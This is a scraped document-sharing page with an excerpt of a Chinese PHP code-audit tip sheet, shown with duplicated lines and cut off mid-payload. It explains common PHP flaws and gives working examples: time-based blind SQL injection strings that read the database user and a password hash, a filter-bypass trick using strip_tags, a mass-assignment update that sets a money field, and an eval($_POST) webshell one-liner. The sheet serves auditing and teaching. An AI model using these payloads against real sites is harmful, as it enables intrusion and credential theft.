php代码审计作者未知.pdfVIP

  1. 1、本文档共11页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
根据您提供的信息,摘要可以写为PHP程序审计代码审计`SERVER`PHPSELF`和`SERVER`QUERYSTRING`,而`SERVER`并没有转义,造成了注入不要重构更新序列,导致更新其他关键字段金钱权限`id1data19910316money10000000`在PHP中使用了一个未定义的常量,PHP假定想要的是该常量本身的名字,如同用字

PHP码审计

代码审计tips

1、$_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER并没有转义,造成了注入。

/easy/index.php/aaa,(select/**/if((select/**/ord(substr(user(),1,1)))=114,sleep(3),0)),1)#

/easy/index.php/aaa,(select/**/if((select/**/ord(substr(user(),1,1)))=114,sleep(3),0)),1)#

2、update更新时没有重构更新序列,导致更新其他关键字段(金钱、权限)

id=1data=1991-03-16money

id=1data=1991-03-16money

3、在php中如果使用了一个未定义的常量,PHP假定想要的是该常量本身的名字,如同用字符串调用它一样

(CONSTANT对应“CONSTANT”)。此时将发出一个E_NOTICE级的错误(参考

未定义常量if(IN_ADMIN!=TRUE)等式不成立,非0、null都为true

未定义常量if(IN_ADMIN!=TRUE)等式不成立,非0、null都为true

4、PHP中自编写对的过滤或关键字过滤,应放在strip_tags等去除函数,否则引起过滤绕过。

functionmystrip_tags($string){$string=remove_xss($string);$string=new_html_special_chars($string);$string=

strip_tags($string);//remove_xss在strip_tags之前调用,所以很明显可以利用strip_tags函数绕过,在关键字中

2

html标记.return$string;}

functionmystrip_tags($string)

{

$string=remove_xss($string);

$string=new_html_special_chars($string);

$string=strip_tags($string);//remove_xss在strip_tags之前调用,所以很明显可以利用strip_tags函数绕过,

在关键字中html标记

return$string;

}

对关键字过滤存在字符替换、html去除等操作可构造多余字符绕过。

提交

user/**/WaHERE/**/IF((SaELECT/**/AaSCII(SaUBSTRING(PASSWORD,1,1))FaROM/**/ts_user/**/L

aIMIT1)=101,1=SaLEEP(2.02),0)%23

user/**/WaHERE/**/IF((SaELECT/**/AaSCII(SaUBSTRING(PASSWORD,1,1))FaROM/**/ts_user/**/LaIMIT

1)=101,1=SaLEEP(2.02),0)%23

由于全局关键字过滤存在strip_tags()函数可绕过。

5、当变量进入双引号中时可形成webshell

$a=${@eval($_POST[s])};$a=${${eval($_POST[s])}};

3

$a=${@eval($_

文档评论(0)

183****7931 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档